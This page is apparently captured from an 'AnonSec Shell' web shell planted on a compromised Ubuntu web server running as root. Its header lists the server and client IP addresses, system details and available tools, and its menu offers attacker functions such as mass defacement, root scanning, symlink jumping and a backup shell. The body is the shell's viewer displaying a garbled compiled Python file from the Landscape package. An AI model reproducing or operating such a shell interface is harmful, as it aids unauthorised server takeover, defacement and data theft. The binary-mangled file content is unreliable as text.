AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/landscape/lib/__pycache__/versioning.cpython-310.pyc
o

���c��@s$dZddlmZdd�Zdd�ZdS)z-Helpers for dealing with software versioning.�)�
StrictVersioncCs$|�d�}|�d�}t|�t|�kS)a6Check if a version is higher than another.

    This takes two software versions in the usual b"x.y" form
    and split them on the decimal character, converting both parts
    to ints, e.g. b"3.2" becomes (3, 2).

    It then does a comparison of the two tuples, and returns C{True} if
    C{version1} is greater than or equal to C{version2}.

    @param version1: The first version to compare as C{bytes}.
    @param version2: The second version to compare as C{bytes}.
    @return: C{True} if the first version is greater than or equal to
        the second.
    �ascii)�decoder)�version1�version2�r�:/usr/lib/python3/dist-packages/landscape/lib/versioning.py�is_version_highers

r	cCs$tdd�|D�dd�}dd�|D�S)z�Sort a list of software versions in from the highest to the lowest.

    @param version: a C{list} of C{bytes} describing a version.
    cSsg|]	}t|�d���qS�r)rr)�.0�versionrrr�
<listcomp> sz!sort_versions.<locals>.<listcomp>T)�reversecSsg|]	}t|��d��qSr
)�str�encode)r�strict_versionrrrr
"s�)�sorted)�versions�strict_versionsrrr�
sort_versionss��rN)�__doc__�distutils.versionrr	rrrrr�<module>s

Anon7 - 2022
AnonSec Team